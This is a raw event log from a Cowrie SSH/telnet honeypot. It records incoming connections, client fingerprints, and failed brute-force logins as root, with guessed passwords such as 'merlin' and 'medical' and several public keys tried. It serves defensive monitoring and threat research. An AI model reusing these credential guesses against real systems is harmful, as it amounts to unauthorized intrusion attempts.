{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:28.838526Z","src_ip":"72.52.132.30","session":"3d707790548b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":44116,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f6e5b79f5d","protocol":"ssh","message":"New connection: 103.27.238.116:44116 (10.17.0.5:22) [session: 64f6e5b79f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:31.054344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:31.059596Z","src_ip":"103.27.238.116","session":"64f6e5b79f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:32.124485Z","src_ip":"103.27.238.116","session":"64f6e5b79f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52970,"dst_ip":"10.17.0.5","dst_port":23,"session":"260fbff94cb2","protocol":"telnet","message":"New connection: 152.42.224.71:52970 (10.17.0.5:23) [session: 260fbff94cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:32.977676Z"}
{"eventid":"cowrie.session.closed","duration":38.958394289016724,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:34.185117Z","src_ip":"152.42.224.71","session":"476aa237f8ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r","message":"login attempt [root/q1w2e3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:34.461078Z","src_ip":"103.27.238.116","session":"64f6e5b79f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:35.751059Z","src_ip":"103.27.238.116","session":"64f6e5b79f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57300,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a13181f54cc","protocol":"ssh","message":"New connection: 103.27.238.120:57300 (10.17.0.5:22) [session: 8a13181f54cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:36.238110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:36.242521Z","src_ip":"103.27.238.120","session":"8a13181f54cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:36.542996Z","src_ip":"103.27.238.120","session":"8a13181f54cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"merlin","message":"login attempt [root/merlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:37.447421Z","src_ip":"103.27.238.120","session":"8a13181f54cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:38.752575Z","src_ip":"103.27.238.120","session":"8a13181f54cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.115.172","src_port":38010,"dst_ip":"10.17.0.5","dst_port":22,"session":"1564dd1c3f7c","protocol":"ssh","message":"New connection: 37.59.115.172:38010 (10.17.0.5:22) [session: 1564dd1c3f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:42.584832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:42.593954Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:42.683028Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:a8:db:ef:c5:fa:28:39:4f:98:66:fb:f5:dd:47:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4qFOK1lLcCZsncs2KuAK/z3axEcJ55a12hAdmu5btr8seqYb+Rowxe6KmIEo72VOCsCdo774wowyjeXkPHqWsIuKY1PifHi7cYbUBuoJkqUIclNqn3bFBve7gcFAhxxgxLHAKJ6O44plmHvlzpb+kM+dSq8NFltj+gCcGURvvQWvTCGRqjWK0w3Tc7ASGcqOYz49k8PRAKLCqqyRf6tARPfDiWpK+OHGd3vr7XPquZCzFRANa78GpBXikmInv75Hlk+dFwKRIvF72/GQCr+wNdVWK1iYcfSMneVi2sMfKnKErVVRaYlehRfJmPzFsFtVK6mdXTn8LeMqy4BmzAXyvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:a8:db:ef:c5:fa:28:39:4f:98:66:fb:f5:dd:47:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.090309Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:a8:db:ef:c5:fa:28:39:4f:98:66:fb:f5:dd:47:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4qFOK1lLcCZsncs2KuAK/z3axEcJ55a12hAdmu5btr8seqYb+Rowxe6KmIEo72VOCsCdo774wowyjeXkPHqWsIuKY1PifHi7cYbUBuoJkqUIclNqn3bFBve7gcFAhxxgxLHAKJ6O44plmHvlzpb+kM+dSq8NFltj+gCcGURvvQWvTCGRqjWK0w3Tc7ASGcqOYz49k8PRAKLCqqyRf6tARPfDiWpK+OHGd3vr7XPquZCzFRANa78GpBXikmInv75Hlk+dFwKRIvF72/GQCr+wNdVWK1iYcfSMneVi2sMfKnKErVVRaYlehRfJmPzFsFtVK6mdXTn8LeMqy4BmzAXyvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.094174Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:ef:f5:ba:c3:42:75:2a:cf:a9:33:8c:85:6c:9b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZbHuL/XI0KMCruyQGesS9so3nM7eDd1Lqht9QI63YgyMTobk4lEpe9taQyoxny+tQeA/vWRPIg6M9xekYsE0hVH6KKmEBqiNXFTTeKWH7Yd+W/zTuJoXCd+4gnies+BCJT53+61poMJ8Hnwye65ORpIqetvFQrdFQVqwhXzqRugQXcCouy7LxidfHn/aLasmmB7FNt6JueSxYIb0kF1EaUC42VeVnzVIkhqMyQ99ipALx5RO5mWGF3zE9d9k30fSH48u1VYPovTW2iISOJ3b0Dfur28e/N/vK+sIoHiM8VWOGLC0/Jztq3NTJEVouyoyoFpo19GtLJ/D3bEmETq4d8igwOLw6D8pQnaJf+LOd4iJQRXaW+Rr0tgf4IeGeCWUZbmcvOyaRu8qJ1mo5lAqbZ3ir4FTDz5XHK9eQaUDVSycF5kXd1nlJYxc4Wu6qj6oph8UPQ24yI0FKvzVFBm5+R2/hLr11/DRKq5Dcn4pewsNEcCnJWhdCuYgUpGit3h8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:ef:f5:ba:c3:42:75:2a:cf:a9:33:8c:85:6c:9b:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.178431Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:ef:f5:ba:c3:42:75:2a:cf:a9:33:8c:85:6c:9b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZbHuL/XI0KMCruyQGesS9so3nM7eDd1Lqht9QI63YgyMTobk4lEpe9taQyoxny+tQeA/vWRPIg6M9xekYsE0hVH6KKmEBqiNXFTTeKWH7Yd+W/zTuJoXCd+4gnies+BCJT53+61poMJ8Hnwye65ORpIqetvFQrdFQVqwhXzqRugQXcCouy7LxidfHn/aLasmmB7FNt6JueSxYIb0kF1EaUC42VeVnzVIkhqMyQ99ipALx5RO5mWGF3zE9d9k30fSH48u1VYPovTW2iISOJ3b0Dfur28e/N/vK+sIoHiM8VWOGLC0/Jztq3NTJEVouyoyoFpo19GtLJ/D3bEmETq4d8igwOLw6D8pQnaJf+LOd4iJQRXaW+Rr0tgf4IeGeCWUZbmcvOyaRu8qJ1mo5lAqbZ3ir4FTDz5XHK9eQaUDVSycF5kXd1nlJYxc4Wu6qj6oph8UPQ24yI0FKvzVFBm5+R2/hLr11/DRKq5Dcn4pewsNEcCnJWhdCuYgUpGit3h8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.181139Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:35:91:d8:82:0f:79:59:ae:f0:ff:23:d3:38:2a:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDtS2G0TJ5M50mxZcg9+dIGkXqLgx31rWmcY8yCo3PGvEhXCCQn65daT6UY1TrV2tBdypJQO/tsfRiNjCi1iwcbg1gjcry6v3ae+fJCo9P1WKZM7vDyO6l8vnk1txIxQDHoV7UVnT3XFLNy+WeT/b4tZ3qNJxk/B9hwccrtF/34aaVwJ+EwPtuyh0roCyZ9wTNBqlwBpD6qcWsrEL9wyMojCrPZa6PCo/iZnMqLr/qrapqvKBNNFrL5t6BIEp9gFXRmcmcML64fmFJ6dUzf8cYRl2BAi90J7c0fL0KUKItelBdi1Ce5Luxw2q1q6uWvbHZM8VVFP7SWwwiqo9VHWs9hTmxxVhDfr94Heh/P8BiaU/ldDWtxrap8KkYBJBN7cyhtCo4pKUCiZKsze+yiUlDEEy+jK4AF9SO+n9oKz7zqYTPekchi6aXwMLvxryYfzFaoiFN6m+Rjj9m2Zc2KV0AoMW259cqg4pWSXxQESDswv0WRNkX609u+ErF0oBoMOk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:35:91:d8:82:0f:79:59:ae:f0:ff:23:d3:38:2a:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.265083Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:35:91:d8:82:0f:79:59:ae:f0:ff:23:d3:38:2a:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDtS2G0TJ5M50mxZcg9+dIGkXqLgx31rWmcY8yCo3PGvEhXCCQn65daT6UY1TrV2tBdypJQO/tsfRiNjCi1iwcbg1gjcry6v3ae+fJCo9P1WKZM7vDyO6l8vnk1txIxQDHoV7UVnT3XFLNy+WeT/b4tZ3qNJxk/B9hwccrtF/34aaVwJ+EwPtuyh0roCyZ9wTNBqlwBpD6qcWsrEL9wyMojCrPZa6PCo/iZnMqLr/qrapqvKBNNFrL5t6BIEp9gFXRmcmcML64fmFJ6dUzf8cYRl2BAi90J7c0fL0KUKItelBdi1Ce5Luxw2q1q6uWvbHZM8VVFP7SWwwiqo9VHWs9hTmxxVhDfr94Heh/P8BiaU/ldDWtxrap8KkYBJBN7cyhtCo4pKUCiZKsze+yiUlDEEy+jK4AF9SO+n9oKz7zqYTPekchi6aXwMLvxryYfzFaoiFN6m+Rjj9m2Zc2KV0AoMW259cqg4pWSXxQESDswv0WRNkX609u+ErF0oBoMOk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.268637Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:21:13:b1:8c:53:5d:7d:80:65:a1:01:f2:32:23:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC76cqTyS8phsH7Led2psaUb7MmoLUbKHEjdmWaQ8RXNtTUhQ98ZJmMaBf4LMF6i/TYO9qljDrTKLAnjSAuVRQd8/tjqYWOJ9ZhfqXLM20nPQyAuFpz8b7MRTIelgndbhrtcu3ZyGcgddT2iOGgz/0orzdosn2NJC2STt+lltK5R7GedyjRhaqzqMSsHY6jnn6JP3cGfuc4BqNXBlqCKNJIKDDJ2wJihba4oHy26IeP4tkXnVYCYfOnIOhgXwpeuo5aBI2Ze+1yofR9Pu9PlUZ0xztWMfUnbQOuflnhl60xVXJGrlgl+xwX7LLqgKTqtCLoXRLQRWWmIsOztsOLy1QR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:21:13:b1:8c:53:5d:7d:80:65:a1:01:f2:32:23:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.354909Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:21:13:b1:8c:53:5d:7d:80:65:a1:01:f2:32:23:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC76cqTyS8phsH7Led2psaUb7MmoLUbKHEjdmWaQ8RXNtTUhQ98ZJmMaBf4LMF6i/TYO9qljDrTKLAnjSAuVRQd8/tjqYWOJ9ZhfqXLM20nPQyAuFpz8b7MRTIelgndbhrtcu3ZyGcgddT2iOGgz/0orzdosn2NJC2STt+lltK5R7GedyjRhaqzqMSsHY6jnn6JP3cGfuc4BqNXBlqCKNJIKDDJ2wJihba4oHy26IeP4tkXnVYCYfOnIOhgXwpeuo5aBI2Ze+1yofR9Pu9PlUZ0xztWMfUnbQOuflnhl60xVXJGrlgl+xwX7LLqgKTqtCLoXRLQRWWmIsOztsOLy1QR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.358458Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:2e:54:23:dd:b1:c6:20:d4:b7:ee:cb:22:db:9b:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa/M6h9K4sa7WD6zwu4DnTzpOT+o21jDrO+d8mBMh5IYqZomTyaj+qj6vdizUJ0y+hz0voNd4LlkKu6sMpD+fhn7lKHn5GxCf4xVOdPkX91lgxdMRvF0oa9hK+/VlVje2Ml9R1+m41vj9Kiw9JX6HOLa59wprR7Z2YtF9pZ4RsPQEtjcWl6+0y41MF8/lo3vNiC5xmvVPl1MP9MxWDs66KI8Ev8rfCYrTQxLHWcKicTHi9SLyqLQcmW6bc4vQXS4a1jUDV0S4sLnPV9nfnTIs1m0Th6xjkoKVB7qkTe1WEwSHKg7xnt1qk13BBydIrJPkNgtSbUfJj+Ju+SG7dP6xnsL3M91zh3W6mLdKYKTGa+X7K1vRPzF0qj+DyKLaPLxXF9uxv26y2SsKq/ypigYCW5rHJzFIWhLeW4SOv8Qb6o7ZAsVYCNv8vZg4KTNBufY/KfLT1PPLhyf7JGm2pJkjp1BPm2dfphBSuShmh8NrXUeROSF7T5nUvwlrLn3y0CGc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:2e:54:23:dd:b1:c6:20:d4:b7:ee:cb:22:db:9b:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.444248Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:2e:54:23:dd:b1:c6:20:d4:b7:ee:cb:22:db:9b:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa/M6h9K4sa7WD6zwu4DnTzpOT+o21jDrO+d8mBMh5IYqZomTyaj+qj6vdizUJ0y+hz0voNd4LlkKu6sMpD+fhn7lKHn5GxCf4xVOdPkX91lgxdMRvF0oa9hK+/VlVje2Ml9R1+m41vj9Kiw9JX6HOLa59wprR7Z2YtF9pZ4RsPQEtjcWl6+0y41MF8/lo3vNiC5xmvVPl1MP9MxWDs66KI8Ev8rfCYrTQxLHWcKicTHi9SLyqLQcmW6bc4vQXS4a1jUDV0S4sLnPV9nfnTIs1m0Th6xjkoKVB7qkTe1WEwSHKg7xnt1qk13BBydIrJPkNgtSbUfJj+Ju+SG7dP6xnsL3M91zh3W6mLdKYKTGa+X7K1vRPzF0qj+DyKLaPLxXF9uxv26y2SsKq/ypigYCW5rHJzFIWhLeW4SOv8Qb6o7ZAsVYCNv8vZg4KTNBufY/KfLT1PPLhyf7JGm2pJkjp1BPm2dfphBSuShmh8NrXUeROSF7T5nUvwlrLn3y0CGc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.448211Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:43.535645Z","src_ip":"37.59.115.172","session":"1564dd1c3f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":56378,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2721f01570","protocol":"ssh","message":"New connection: 37.143.61.241:56378 (159.203.135.109:22) [session: 0e2721f01570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:53.150820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:53.155354Z","src_ip":"37.143.61.241","session":"0e2721f01570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:53.240833Z","src_ip":"37.143.61.241","session":"0e2721f01570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medical","message":"login attempt [root/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:53.622698Z","src_ip":"37.143.61.241","session":"0e2721f01570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.571145057678223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:54.381420Z","src_ip":"152.42.224.71","session":"f51c12793e64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:54.711165Z","src_ip":"37.143.61.241","session":"0e2721f01570","protocol":"ssh"}
